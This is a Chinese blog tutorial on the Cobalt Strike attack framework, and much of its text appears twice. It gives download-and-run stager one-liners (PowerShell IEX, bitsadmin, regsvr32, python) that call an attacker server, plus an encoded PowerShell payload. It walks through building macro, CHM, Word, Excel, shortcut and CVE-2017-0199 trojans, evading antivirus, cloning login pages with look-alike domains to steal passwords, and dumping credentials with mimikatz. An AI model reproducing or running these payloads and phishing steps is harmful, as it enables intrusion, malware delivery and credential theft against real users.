Cobalt Strike学习笔记(持续更新)

摘要

*本文原创作者:mx7krshell,本文属FreeBuf原创奖励计划,未经许可禁止转载

*有些截图IP不统一是因为我有空的时候写有时不在同一个网络下所以分配的IP地址会不一样。接触这个挺长时间的如果时间长了不用会忘记第一次投稿求不喷。 哪里说错请指正,谢谢。文章太长,编辑中可能会有遗漏点。

前言

经常看到披露出来APT(Advanced Persistent Threat) 高级持续性威胁报告,据目前我所了解到的有常用两种攻击手法还有更多种手法水坑式攻击鱼叉式钓鱼邮件攻击手法。其实我也想模仿这样攻击手法在渗透时候遇到有些目标简直是无从下手。很早之前就接触了Metasploit工具内网渗透非常强大,当时用过Cobalt Strike 2.0版本主要是结合Metasploit可以称为图形化MSF工具。而Cobalt Strike 3.0已经不再使用Metasploit框架而作为一个独立的平台使用。

简介

Cobalt Strike集成了端口转发、扫描多模式端口监听Windows exe木马,生成Windows dll(动态链接库)木马,生成java木马,生成office宏病毒,生成木马捆绑钓鱼攻击,包括站点克隆目标信息获取java执行浏览器自动攻击等等。

360评价APT-TOCS攻击尽管看起来已经接近APT水准的攻击能力,但并非更多依赖攻击团队自身的能力,而是依托商业的自动化攻击测试平台来达成。

Tools Link

Cobalt Strike https://www.cobaltstrike.com

Kali Linux https://www.kali.org

Metasploit Framework https://www.metasploit.com

PowerSplit https://github.com/mattifestation/PowerSploit

PiwerTools https://github.com/PowerShellEmpire/PowerTools

Veil Evasion Framework https://github.com/Veil-Framework/Veil-Evasion

基本操作

Cobalt Strike分为客户端和服务端可分布式操作可以协同作战。但一定要架设在外网上。当然你知道利用这款工具主要用于内网渗透以及APT攻击。

Cobalt Strike学习笔记(持续更新)

Team Server Setup

Cobalt Strike学习笔记(持续更新)

启动服务./teamserver 192.168.3.11 password

通过客户端来连接Cobalt Strike提供了linux以及windows下的客户端

Cobalt Strike学习笔记(持续更新)

Cobalt Strike学习笔记(持续更新)

当攻击目标在控制台所操作的指令都会被记录到保留在Cobalt Strike目录logs下

Cobalt Strike学习笔记(持续更新)

ps破解版是无法更新的。

功能了解

Cobalt Strike

Cobalt Strike学习笔记(持续更新)

Preferences

Perferences设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录

Cobalt Strike学习笔记(持续更新)

Visualization

Cobalt Strike学习笔记(持续更新)

其实也就是工具拦上的三个图标,主要输出结果的形式。

Cobalt Strike学习笔记(持续更新)

VPN Interfaces设置VPN接口。后面详细讲解。

Listenrs

使用Cobalt Strike首先需要创建一个Listener,依次点击 Cobalt Strike -> Listeners 然后点击Add便可以创建自己想要的Listeners“Cobalt Strike3.0通过官网查询官方给出的解释是没有Linux监控的意思是不能控Linux机器除了以下标为x86/x64其它只支持32位

windows/beacon_dns/reverse_dns_txtwindows/beacon_dns/reverse_http x86/x64windows/beacon_http/reverse_http x86/x64windows/beacon_https/reverse_https x86/x64windows/beacon_smb/bind_pipe x86/x64windows/foreign/reverse_dns_txtwindows/foreign/reverse_httpwindows/foreign/reverse_httpswindows/foreign/reverse_tcp

Cobalt Strike学习笔记(持续更新)

先演示简单例子这里来生成一个PowerShell可以获得一个权限这里通过实验机来访问

Cobalt Strike学习笔记(持续更新)

Attack -> Web Drive-by -> Scripted Web Delivery

Cobalt Strike学习笔记(持续更新)

这里选择通过PowerShell执行在win2003 x64位以上都有PowerShell这个功能

Cobalt Strike学习笔记(持续更新)

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('[[http://192.168.1.117:80/a](http://192.168.1.117:80/a)]([http://192.168.1.117:80/a](http://192.168.1.117:80/a))'))"

这里生成我们的PowerShell,用实验机访问。

Cobalt Strike学习笔记(持续更新)

通常被控制的主机每60秒发送一心跳如果平常不用基本是没有什么流量。

Cobalt Strike学习笔记(持续更新)

主要是通过HTTP GET请求这里我通过抓取进程包可以看到传输的内容经过加密。192.168.4.100:9987则服务端创建监听的端口。

Cobalt Strike学习笔记(持续更新)

为了可以更加隐蔽性还可以自己导入https证书以及dns通讯

Cobalt Strike学习笔记(持续更新)

Cobalt Strike学习笔记(持续更新)

View

Applications -> 获取浏览器版本信息

Credentials -> 凭证当通过hashdump或者Mimikatz抓取过的密码都会储存在这里。

Downloads -> 下载文件Event Log -> 主机上线记录以及团队协作聊天记录

Keystrokes -> 键盘记录

Proxy Pivots -> 代理模块

Screenshots -> 进程截图

Script Console -> 控制台

Targets -> 显示目标

Web Log -> Web访问记录

Client-side Attacks

通常我的目标安全设置的非常变态、常规的渗透手法都还没找出口子时就可以利用此方法来突破。当我的目标只是一个邮箱时我根本无法从社工下手获得我想要的东西就可以利用此方法来突破。

Cobalt Strike学习笔记(持续更新)

发送恶意邮件给内部企业人员获取内部一定权限进行内网渗透。

Cobalt Strike学习笔记(持续更新)

Packages

这些模块主要来生成Payload

Cobalt Strike学习笔记(持续更新)

HTML Application

生成一个网页Payload 这里经过我测试生成的木马好像只有在IE上测试成功如果是其它浏览器会被拦截或被识别木马。

Cobalt Strike学习笔记(持续更新)

有三种执行模式一种是平常的exe执行、其它通过PowerShell和VBA来执行木马。达到控制这台主机权限。会生成一个evil.hta文件,配合Attacks -> Web Drive-By -> Host File利用。

OFFICE OLE2LINKCVE-2017-0199

在之前写Cobalt Strike的时候以为hta这种方式没有什么卵用而看到了这个漏洞后自己的想法太可笑了。这里主要复现一下过程复现的方法有好多种也有别人写好的Python脚本也有需要配置一些复杂的Apache才能实现但这里我利用外网的Metasploit脚本自动生成。

下载利用脚本

新版本Metasploit脚本的路径:

/opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.14.8/modules/exploits/windows/fileformat/wget https://raw.githubusercontent.com/nixawk/metasploit-framework/3d082814cbedc065f329498b9c6fb7951f8ebbd5/modules/exploits/windows/fileformat/office_word_hta.rb

下载rtf文件到:

/opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.14.8/modules/exploits/windows/fileformat/

wget https://raw.githubusercontent.com/nixawk/metasploit-framework/3d082814cbedc065f329498b9c6fb7951f8ebbd5/modules/exploits/windows/fileformat/office_word_hta.rb

重新加载模块reload_all

生成EXPLOIT文档

msf > use exploit/windows/fileformat/office_word_hta                        msf exploit(office_word_hta) > show options                               msf exploit(office_word_hta) > set FILENAME msf.doc

msf exploit(office_word_hta) > set TARGETURI [http://11.1.1.1/t.hta](http://11.1.1.1/t.hta)               msf exploit(office_word_hta) > run

这里的t.hta可以通过Cobalt Strike来生成因为上线控制比较方便。当对方单击word文档就会提示上线。

Cobalt Strike学习笔记(持续更新)

MS Office Macro

Attacks -> Packages -> MS Office Macro -> Copy

Private Type PROCESS_INFORMATION

    hProcess As Long

    hThread As Long

    dwProcessId As Long

    dwThreadId As Long

End Type

Private Type STARTUPINFO

    cb As Long

    lpReserved As String

    lpDesktop As String

    lpTitle As String

.... 略

Sub AutoOpen()

    Auto_Open

End Sub

Sub Workbook_Open()

    Auto_Open

End Sub

生成以下代码放入到Word宏里面

Cobalt Strike学习笔记(持续更新)

保存需另存为启用宏Word文档

Cobalt Strike学习笔记(持续更新)

Cobalt Strike学习笔记(持续更新)

这里会提示启用宏这时候你就要靠你的心理学还是其它手段让你的目标启用宏但多数一般的电脑白痴都不知道宏是什么。成功率还是有的但不会太高。

Cobalt Strike学习笔记(持续更新)

Payload Generator

Cobalt Strike学习笔记(持续更新)

生成各类语言的shellcode

这里生成的ShellCodes可以通过Veil Evasion Framework免杀框架来达到免杀目的

Windows Executable

生成可执行文件

Windows Executable(s)

生成可执行文件还有powershell以及动态链接库

Web Drive-by

Manage

主要管理我们所创建的Payload以及各类PowerShell管理地址

Clone Site

克隆网站还可以通过克隆的网站实现钓鱼。这里以某个OWA为实例

Cobalt Strike学习笔记(持续更新)

如果你没有设置System Profiler是没有任何信息的所以这里需要设置一下。当输入后回车会跳转到正常的网页上以免被发现。

Attacks -> Web Drive-by -> System Profiler

Cobalt Strike学习笔记(持续更新)

再重复第一个步骤

Cobalt Strike学习笔记(持续更新)

Cobalt Strike学习笔记(持续更新)

Cobalt Strike学习笔记(持续更新)

Cobalt Strike学习笔记(持续更新)

Cobalt Strike学习笔记(持续更新)

这里只是为了演示,当真正攻击时为了更加逼真,你需要注册相同类似的域名,比如www.taobao.xom、可以注册另类域名为www.ta0b0o.com类似。当目标输入用户名以及密码时。看我们的控制台:

Cobalt Strike学习笔记(持续更新)

当点登录后会跳转到原版网站上。

Host File

这是我最不看好的除了IE能触发外其它浏览器都会报毒IE还需要点运行才可执行。

先生成一个HTML Payload木马Attack -> Packages -> HTML Application

Cobalt Strike学习笔记(持续更新)

这里可以以三种方式执行木马。 但生成的格式是hta所以还是很容易被发现先生成保存在本地.

Attack -> Web Drive-By -> Host File

Cobalt Strike学习笔记(持续更新)

http://192.168.3.11:807/download/update.hta这是我们生成的木马。

Cobalt Strike学习笔记(持续更新)

需点击运行才会上线。 这种方法对付电脑白痴还有用但是现在的电脑白痴都用Google浏览器或其实的都不用ie

Scrihhc.exepted Web Delivery

Cobalt Strike学习笔记(持续更新)

生成一段可快速获取权限Payload的,有4种方法,常见的PowerShell,vista以上的系统才有PowerShell,其中Windows2003 x64版本也有PowerShell。

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.4.102:80/a'))"

当我们的目标可能是Windows 2003 x86的时候,你没有办法使用PowerShell,这里给出了另外三种执行模式,通过bitsadmin命令下载、以及Python中的urllib2模块。

cmd.exe /c bitsadmin /transfer d0b7 http://192.168.4.102:80/b %APPDATA%/d0b7.exe&%APPDATA%/d0b7.exe&del %APPDATA%/d0b7.exe

python -c "import urllib2; exec urllib2.urlopen('http://192.168.4.102:80/c').read();"

Regsvr32命令用于注册动态链接库文件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。

regsvr32 /s /n /u /i:http://192.168.4.102:80/d scrobj.dll

制作CHM木马

Powershell是windows下面非常强大的命令行工具,并且在windows中Powershell可以利用.NET Framework的强大功能,也可以调用windows API,在win7/server 2008以后,powershell已被集成在系统当中。 除此之外,使用powershell能很好的bypass各种AV,在渗透测试中可谓是一个神器。此次使用的是开源的powershell脚本集nishang中的client来制作钓鱼文件。

在介绍怎么使用CHM来作为后门之前,首先要知道CMH是什么东西。CHM(Compiled Help Manual)即“已编译的帮助文件”。它是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。CHM支持Javas cript、VBs cript、ActiveX、Java Applet、Flash、常见图形文件(GIF、JPEG、PNG)、音频视频文件(MID、WAV、AVI)等等,并可以通过URL与Internet联系在一起。因为使用方便,形式多样也被采用作为电子书的格式。

可以使用EasyCHM来制作CHM文件

PowerShelld系统中禁止执行脚本解决方法:set-ExceutionPolicy RemoteSigned选择[Y]

导入模块:Import-Module ./Out-CHM.ps1

Out-CHM -PayloadURL http://192.168.4.102:88 -HHCPath "C:/Program Files (x86)/HTML Help Workshop"

电脑没装hhc.exe通过http://www.microsoft.com/en-us/download/details.aspx?id=21138下载安装,否则会报错。

但是通过这种方法制作的chm文档,打开时会有黑屏闪过很容易被擦觉。Evi1cg大牛已经找到了方法并写好了利用工具。

通过rundll32.exe执行jsrundll32.exe javascript:”/../mshtml,RunHTMLApplication “;alert(‘foo’);

rundll32是什么请阅读以下两篇文章:http://bobao.360.cn/learning/detail/164.htmlhttp://support.microsoft.com/kb/164787/

通过Scripted Web Delivery生成的PowerShell,取出木马地址。

工具用法:Python OutChm.py -r http://192.168.4.102:88 -o exp.chm

来看一下木马地址所生成的是什么:

$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sIAAAAAAAAAL1X+2/ayBP/OfwV1imSbR3hnZRWilQDMeBiQjCvhENo8a7NhrWX2msevfZ/v/GDll7S++Z00hfJ0j5mZmc+88Qi4soSAbWFyTGRriYkCCn3pUoud9niXSHdSh/+QJhe5JOpXkeOktfx/NFETBeEaMcgHaISnKqbzQM/

...略

f7SFz1YVLMyR9zua4jnSEU0i8wtJPPUl2N579QoEBcPfMVTPhJG1QukSp172bSJZK+SVcAihZWKzDmB24U90Qp/dfyVdqDKQnjV2lIbAKj7JXBV9DrCIw2sehESEwMZ38B4j+QVgYNAAA="));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

经过编码的PowerShell,如果不是通过Cobalt Strike生成,也可以通过nishang的Invoke-Encode.ps1进行编码,有现成的工具这里不多此一举。

Cobalt Strike学习笔记(持续更新)

提示已上线通过这种办法制作的chm木马可以绕过大多数杀软包括360等但是实战的时候发现会被电脑管家发现。

Cobalt Strike学习笔记(持续更新)

这里我们所执行的chm文件通过rundll32.exe文件来执行PowerShell。

这里我还思路着另外一个问题当chm文档被执行时木马会上线但是如果目标把这个文件删掉我们的木马将也会被删除。这里会想当打开一个chm文档的时候自动把木迁移到其它进程上。

Tools Links:https://github.com/hackzx/OutCHMhttps://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1

制作Word木马

其实和Attacks -> MS Office Macro方法类似

PS C:/Users/Administrator/Desktop/nishang> Import-Module ./Client/Out-Word.ps1Out-Word使用方法查看源文件第3-108行使用方法。

Out-Word -Payload ‘加密代码’

Cobalt Strike学习笔记(持续更新)

以及

Out-Word -PayloadURL http://192.168.4.102:89/download/payload.ps1

Cobalt Strike学习笔记(持续更新)

其实这两种专景都各有用处比如我在某台机器里不允许访问网络可以使用第一种方法PowerShell有各种各样的内网渗透脚本这里不多介绍。

正常上线。

Cobalt Strike学习笔记(持续更新)

打开直接中招。可能是之前实例打开过启用宏。这个没有提示宏也没有报其它错误。但具体的日后还需要实战才能下定论。

制作Excel木马

用法:

PS C:/Users/Administrator/Desktop/nishang> Import-Module ./Client/Out-Excel.ps1

PS C:/Users/Administrator/Desktop/nishang> Out-Excel -PayloadURL http://192.168.4.102:89/download/payload.ps1

Saved to file C:/Users/Administrator/Desktop/nishang/Salary_Details.xls

0

制作快捷方式钓鱼文件

PS C:/Users/Administrator/Desktop/nishang> Import-Module ./Client/Out-Shortcut.ps1

PS C:/Users/Administrator/Desktop/nishang> Out-Shortcut -PayloadURL http://192.168.4.102:89/download/payload.ps1

The Shortcut file has been written as C:/Users/Administrator/Desktop/nishang/Shortcut to File Server.lnk

Cobalt Strike学习笔记(持续更新)

正常运行

Cobalt Strike学习笔记(持续更新)

OUT-JAV1

Cobalt Strike学习笔记(持续更新)

PS C:/Users/Administrator/Desktop/nishang> Out-Java -PayloadURL http://192.168.4.102:89/download/payload.ps1 -JDKPath "C

:/Program Files/Java/jdk1.8.0_31"

added manifest

adding: JavaPS.class(in = 1176) (out= 697)(deflated 40%)

jar signed.

Warning:

The signer certificate will expire within six months.

No -tsa or -tsacert is provided and this jar is not timestamped. Without a timestamp, users may not be able to validate

this jar after the signer certificate's expiration date (2017-07-01) or after any future revocation date.

对这个不看好。毕竟很多人电脑都没有装jdk

还有其它如果有遇到的场景我会继续更新

Cobalt Strike学习笔记(持续更新)

Signed Applet Attack

java攻击需要jdk1.6

Smart Applet Attack

java攻击jdk1.7以及1.6都会受到攻击

System Profiler

分析目标使用什么浏览器以及Adobe版本还有内部ip。

Cobalt Strike学习笔记(持续更新)

当目标访问的时候会跳转到百度所以不会被杀软发现。

Cobalt Strike学习笔记(持续更新)

这里收集信息是为了后期apt攻击用

Cobalt Strike学习笔记(持续更新)

Cobalt Strike学习笔记(持续更新)

这里可以前期信息收集所用因为这种方法杀软以及浏览器是无法检测出来的可以通过水坑式攻击来获取目标所用的软件以及操作系统来针对性的攻击。

Beacon Management

Beacon可以选择通过DNS还是HTTP协议出口网络支持多主机连接。

Intercat

Cobalt Strike学习笔记(持续更新)

进入到控制台在beacon处输入help则可以看到详细说明

Cobalt Strike学习笔记(持续更新)

> Beacon Commands

Command                   Description

-------                   -----------

browserpivot              Setup a browser pivot session

bypassuac                 Spawn a session in a high integrity process

cancel                    Cancel a download that's in-progress

cd                        Change directory

checkin                   Call home and post data

clear                     Clear beacon queue

covertvpn                 Deploy Covert VPN client

dcsync                    Extract a password hash from a DC

desktop                   View and interact with target's desktop

dllinject                 Inject a Reflective DLL into a process

download                  Download a file

downloads                 Lists file downloads in progress

drives                    List drives on target

elevate                   Try to elevate privileges

execute                   Execute a program on target

exit                      Terminate the beacon session

getsystem                 Attempt to get SYSTEM

getuid                    Get User ID

hashdump                  Dump password hashes

help                      Help menu

inject                    Spawn a session in a specific process

jobkill                   Kill a long-running post-exploitation task

jobs                      List long-running post-exploitation tasks

kerberos_ccache_use       Apply kerberos ticket from cache to this session

kerberos_ticket_purge     Purge kerberos tickets from this session

kerberos_ticket_use       Apply kerberos ticket to this session

keylogger                 Inject a keystroke logger into a process

kill                      Kill a process

link                      Connect to a Beacon peer over SMB

logonpasswords            Dump credentials and hashes with mimikatz

ls                        List files

make_token                Create a token to pass credentials

mimikatz                  Runs a mimikatz command

mkdir                     Make a directory

mode dns                  Use DNS A as data channel (DNS beacon only)

mode dns-txt              Use DNS TXT as data channel (DNS beacon only)

mode dns6                 Use DNS AAAA as data channel (DNS beacon only)

mode http                 Use HTTP as data channel

mode smb                  Use SMB peer-to-peer communication

net                       Network and host enumeration tool

note                      Assign a note to this Beacon       

portscan                  Scan a network for open services

powerpick                 Execute a command via Unmanaged PowerShell

powershell                Execute a command via powershell.exe

powershell-import         Import a powershell script

ps                        Show process list

psexec                    Use a service to spawn a session on a host

psexec_psh                Use PowerShell to spawn a session on a host

psinject                  Execute PowerShell command in specific process

pth                       Pass-the-hash using Mimikatz

pwd                       Print current directory

rev2self                  Revert to original token

rm                        Remove a file or folder

rportfwd                  Setup a reverse port forward

runas                     Execute a program as another user

screenshot                Take a screenshot

shell                     Execute a command via cmd.exe

shinject                  Inject shellcode into a process

sleep                     Set beacon sleep time

socks                     Start SOCKS4a server to relay traffic

socks stop                Stop SOCKS4a server

spawn                     Spawn a session 

spawnas                   Spawn a session as another user

spawnto                   Set executable to spawn processes into

steal_token               Steal access token from a process

timestomp                 Apply timestamps from one file to another

unlink                    Disconnect from parent Beacon

upload                    Upload a file

wdigest                   Dump plaintext credentials with mimikatz

winrm                     Use WinRM to spawn a session on a host

wmi                       Use WMI to spawn a session on a host

可以快速通过命令来操作其实大多数都是通过图形化操作。

Access

hashdump

获取hash值可以通过

[[http://www.objectif-securite.ch/ophcrack.php](http://www.objectif-securite.ch/ophcrack.php)]([http://www.objectif-securite.ch/ophcrack.php](http://www.objectif-securite.ch/ophcrack.php))破解。

Cobalt Strike学习笔记(持续更新)

这种方法只能针对于Windows2003实用其Win2008开始读取到的hash值也是为空

Make Token

获取到的hash用户密码都会在此显示

Cobalt Strike学习笔记(持续更新)

Run mimikatz

Mimikatz是一个法国获取密码工具能直接获取到明文密码。其实获取密码只是他其中的一个功能。

Cobalt Strike学习笔记(持续更新)

Explore

browserpivot

用户注入受害者浏览器进程然后开启HTTP代理之后就可以登录受害者登录的网站了。

主机 -> Access -> Proces list

Cobalt Strike学习笔记(持续更新)

或直接输入browserpivot 进程号

Cobalt Strike学习笔记(持续更新)

浏览器设置192.168.1.117:35380

Cobalt Strike学习笔记(持续更新)

截取浏览器进程屏幕

Cobalt Strike学习笔记(持续更新)

View -> Screenshot

Cobalt Strike学习笔记(持续更新)

Cobalt Strike学习笔记(持续更新)

键盘记录

Pivoting

Cobalt Strike学习笔记(持续更新)

开启socks代理

Cobalt Strike学习笔记(持续更新)

vim /etc/proxychains.conf

Cobalt Strike学习笔记(持续更新)

Proxychanins firefox这样可以通过firefox访问内网网站

总结

暂时是这些功能只有在实战中才能体会吧。另外招渗透 604865997@qq.com (深圳)

着重感谢evi1cg 前辈 参考了他很多文章

参考:

https://evi1cg.me/archives/Powershell_client.html

http://www.labofapenetrationtester.com/2014_11_01_archive.html

http://wooyun.jozxing.cc/static/drops/news-15974.3html

http://wooyun.jozxing.cc/static/drops/papers-12315.html

http://wooyun.jozxing.cc/static/drops/papers-6332.html

http://wooyun.jozxing.cc/static/drops/tools-1475.html

https://github.com/rsmudge/cortana-scripts

https://evi1cg.me/archives/Cobalt_strike.html

https://evi1cg.me/archives/chm_backdoor.html

http://bobao.360.cn/learning/detail/164.html

http://support.microsoft.com/kb/164787/

http://www.freebuf.com/articles/system/119874.html

*本文原创作者:mx7krshell,本文属FreeBuf原创奖励计划,未经许可禁止转载

*本文原创作者:mx7krshell,本文属FreeBuf原创奖励计划,未经许可禁止转载

*有些截图IP不统一是因为我有空的时候写有时不在同一个网络下所以分配的IP地址会不一样。接触这个挺长时间的如果时间长了不用会忘记第一次投稿求不喷。 哪里说错请指正,谢谢。文章太长,编辑中可能会有遗漏点。

前言

经常看到披露出来APT(Advanced Persistent Threat) 高级持续性威胁报告,据目前我所了解到的有常用两种攻击手法还有更多种手法水坑式攻击鱼叉式钓鱼邮件攻击手法。其实我也想模仿这样攻击手法在渗透时候遇到有些目标简直是无从下手。很早之前就接触了Metasploit工具内网渗透非常强大,当时用过Cobalt Strike 2.0版本主要是结合Metasploit可以称为图形化MSF工具。而Cobalt Strike 3.0已经不再使用Metasploit框架而作为一个独立的平台使用。

简介

Cobalt Strike集成了端口转发、扫描多模式端口监听Windows exe木马,生成Windows dll(动态链接库)木马,生成java木马,生成office宏病毒,生成木马捆绑钓鱼攻击,包括站点克隆目标信息获取java执行浏览器自动攻击等等。

360评价APT-TOCS攻击尽管看起来已经接近APT水准的攻击能力,但并非更多依赖攻击团队自身的能力,而是依托商业的自动化攻击测试平台来达成。

Tools Link

Cobalt Strike https://www.cobaltstrike.com

Kali Linux https://www.kali.org

Metasploit Framework https://www.metasploit.com

PowerSplit https://github.com/mattifestation/PowerSploit

PiwerTools https://github.com/PowerShellEmpire/PowerTools

Veil Evasion Framework https://github.com/Veil-Framework/Veil-Evasion

基本操作

Cobalt Strike分为客户端和服务端可分布式操作可以协同作战。但一定要架设在外网上。当然你知道利用这款工具主要用于内网渗透以及APT攻击。

Team Server Setup

启动服务./teamserver 192.168.3.11 password

通过客户端来连接Cobalt Strike提供了linux以及windows下的客户端

当攻击目标在控制台所操作的指令都会被记录到保留在Cobalt Strike目录logs下

ps破解版是无法更新的。

功能了解

Cobalt Strike

Preferences

Perferences设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录

Visualization

其实也就是工具拦上的三个图标,主要输出结果的形式。

VPN Interfaces设置VPN接口。后面详细讲解。

Listenrs

使用Cobalt Strike首先需要创建一个Listener,依次点击 Cobalt Strike -> Listeners 然后点击Add便可以创建自己想要的Listeners“Cobalt Strike3.0通过官网查询官方给出的解释是没有Linux监控的意思是不能控Linux机器除了以下标为x86/x64其它只支持32位

windows/beacon_dns/reverse_dns_txtwindows/beacon_dns/reverse_http x86/x64windows/beacon_http/reverse_http x86/x64windows/beacon_https/reverse_https x86/x64windows/beacon_smb/bind_pipe x86/x64windows/foreign/reverse_dns_txtwindows/foreign/reverse_httpwindows/foreign/reverse_httpswindows/foreign/reverse_tcp

先演示简单例子这里来生成一个PowerShell可以获得一个权限这里通过实验机来访问

Attack -> Web Drive-by -> Scripted Web Delivery

这里选择通过PowerShell执行在win2003 x64位以上都有PowerShell这个功能

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('[[http://192.168.1.117:80/a](http://192.168.1.117:80/a)]([http://192.168.1.117:80/a](http://192.168.1.117:80/a))'))"

这里生成我们的PowerShell,用实验机访问。

通常被控制的主机每60秒发送一心跳如果平常不用基本是没有什么流量。

主要是通过HTTP GET请求这里我通过抓取进程包可以看到传输的内容经过加密。192.168.4.100:9987则服务端创建监听的端口。

为了可以更加隐蔽性还可以自己导入https证书以及dns通讯

View

Applications -> 获取浏览器版本信息

Credentials -> 凭证当通过hashdump或者Mimikatz抓取过的密码都会储存在这里。

Downloads -> 下载文件Event Log -> 主机上线记录以及团队协作聊天记录

Keystrokes -> 键盘记录

Proxy Pivots -> 代理模块

Screenshots -> 进程截图

Script Console -> 控制台

Targets -> 显示目标

Web Log -> Web访问记录

Client-side Attacks

通常我的目标安全设置的非常变态、常规的渗透手法都还没找出口子时就可以利用此方法来突破。当我的目标只是一个邮箱时我根本无法从社工下手获得我想要的东西就可以利用此方法来突破。

发送恶意邮件给内部企业人员获取内部一定权限进行内网渗透。

Packages

这些模块主要来生成Payload

HTML Application

生成一个网页Payload 这里经过我测试生成的木马好像只有在IE上测试成功如果是其它浏览器会被拦截或被识别木马。

有三种执行模式一种是平常的exe执行、其它通过PowerShell和VBA来执行木马。达到控制这台主机权限。会生成一个evil.hta文件,配合Attacks -> Web Drive-By -> Host File利用。

OFFICE OLE2LINKCVE-2017-0199

在之前写Cobalt Strike的时候以为hta这种方式没有什么卵用而看到了这个漏洞后自己的想法太可笑了。这里主要复现一下过程复现的方法有好多种也有别人写好的Python脚本也有需要配置一些复杂的Apache才能实现但这里我利用外网的Metasploit脚本自动生成。

下载利用脚本

新版本Metasploit脚本的路径:

/opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.14.8/modules/exploits/windows/fileformat/wget https://raw.githubusercontent.com/nixawk/metasploit-framework/3d082814cbedc065f329498b9c6fb7951f8ebbd5/modules/exploits/windows/fileformat/office_word_hta.rb

下载rtf文件到:

/opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.14.8/modules/exploits/windows/fileformat/

wget https://raw.githubusercontent.com/nixawk/metasploit-framework/3d082814cbedc065f329498b9c6fb7951f8ebbd5/modules/exploits/windows/fileformat/office_word_hta.rb

重新加载模块reload_all

生成EXPLOIT文档

msf > use exploit/windows/fileformat/office_word_hta                        msf exploit(office_word_hta) > show options                               msf exploit(office_word_hta) > set FILENAME msf.doc

msf exploit(office_word_hta) > set TARGETURI [http://11.1.1.1/t.hta](http://11.1.1.1/t.hta)               msf exploit(office_word_hta) > run

这里的t.hta可以通过Cobalt Strike来生成因为上线控制比较方便。当对方单击word文档就会提示上线。

MS Office Macro

Attacks -> Packages -> MS Office Macro -> Copy

Private Type PROCESS_INFORMATION

    hProcess As Long

    hThread As Long

    dwProcessId As Long

    dwThreadId As Long

End Type

Private Type STARTUPINFO

    cb As Long

    lpReserved As String

    lpDesktop As String

    lpTitle As String

.... 略

Sub AutoOpen()

    Auto_Open

End Sub

Sub Workbook_Open()

    Auto_Open

End Sub

生成以下代码放入到Word宏里面

保存需另存为启用宏Word文档

这里会提示启用宏这时候你就要靠你的心理学还是其它手段让你的目标启用宏但多数一般的电脑白痴都不知道宏是什么。成功率还是有的但不会太高。

Payload Generator

生成各类语言的shellcode

这里生成的ShellCodes可以通过Veil Evasion Framework免杀框架来达到免杀目的

Windows Executable

生成可执行文件

Windows Executable(s)

生成可执行文件还有powershell以及动态链接库

Web Drive-by

Manage

主要管理我们所创建的Payload以及各类PowerShell管理地址

Clone Site

克隆网站还可以通过克隆的网站实现钓鱼。这里以某个OWA为实例

如果你没有设置System Profiler是没有任何信息的所以这里需要设置一下。当输入后回车会跳转到正常的网页上以免被发现。

Attacks -> Web Drive-by -> System Profiler

再重复第一个步骤

这里只是为了演示,当真正攻击时为了更加逼真,你需要注册相同类似的域名,比如www.taobao.xom、可以注册另类域名为www.ta0b0o.com类似。当目标输入用户名以及密码时。看我们的控制台:

当点登录后会跳转到原版网站上。

Host File

这是我最不看好的除了IE能触发外其它浏览器都会报毒IE还需要点运行才可执行。

先生成一个HTML Payload木马Attack -> Packages -> HTML Application

这里可以以三种方式执行木马。 但生成的格式是hta所以还是很容易被发现先生成保存在本地.

Attack -> Web Drive-By -> Host File

http://192.168.3.11:807/download/update.hta这是我们生成的木马。

需点击运行才会上线。 这种方法对付电脑白痴还有用但是现在的电脑白痴都用Google浏览器或其实的都不用ie

Scrihhc.exepted Web Delivery

生成一段可快速获取权限Payload的,有4种方法,常见的PowerShell,vista以上的系统才有PowerShell,其中Windows2003 x64版本也有PowerShell。

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.4.102:80/a'))"

当我们的目标可能是Windows 2003 x86的时候,你没有办法使用PowerShell,这里给出了另外三种执行模式,通过bitsadmin命令下载、以及Python中的urllib2模块。

cmd.exe /c bitsadmin /transfer d0b7 http://192.168.4.102:80/b %APPDATA%/d0b7.exe&%APPDATA%/d0b7.exe&del %APPDATA%/d0b7.exe

python -c "import urllib2; exec urllib2.urlopen('http://192.168.4.102:80/c').read();"

Regsvr32命令用于注册动态链接库文件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。

regsvr32 /s /n /u /i:http://192.168.4.102:80/d scrobj.dll

制作CHM木马

Powershell是windows下面非常强大的命令行工具,并且在windows中Powershell可以利用.NET Framework的强大功能,也可以调用windows API,在win7/server 2008以后,powershell已被集成在系统当中。 除此之外,使用powershell能很好的bypass各种AV,在渗透测试中可谓是一个神器。此次使用的是开源的powershell脚本集nishang中的client来制作钓鱼文件。

在介绍怎么使用CHM来作为后门之前,首先要知道CMH是什么东西。CHM(Compiled Help Manual)即“已编译的帮助文件”。它是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。CHM支持Javas cript、VBs cript、ActiveX、Java Applet、Flash、常见图形文件(GIF、JPEG、PNG)、音频视频文件(MID、WAV、AVI)等等,并可以通过URL与Internet联系在一起。因为使用方便,形式多样也被采用作为电子书的格式。

可以使用EasyCHM来制作CHM文件

PowerShelld系统中禁止执行脚本解决方法:set-ExceutionPolicy RemoteSigned选择[Y]

导入模块:Import-Module ./Out-CHM.ps1

Out-CHM -PayloadURL http://192.168.4.102:88 -HHCPath "C:/Program Files (x86)/HTML Help Workshop"

电脑没装hhc.exe通过http://www.microsoft.com/en-us/download/details.aspx?id=21138下载安装,否则会报错。

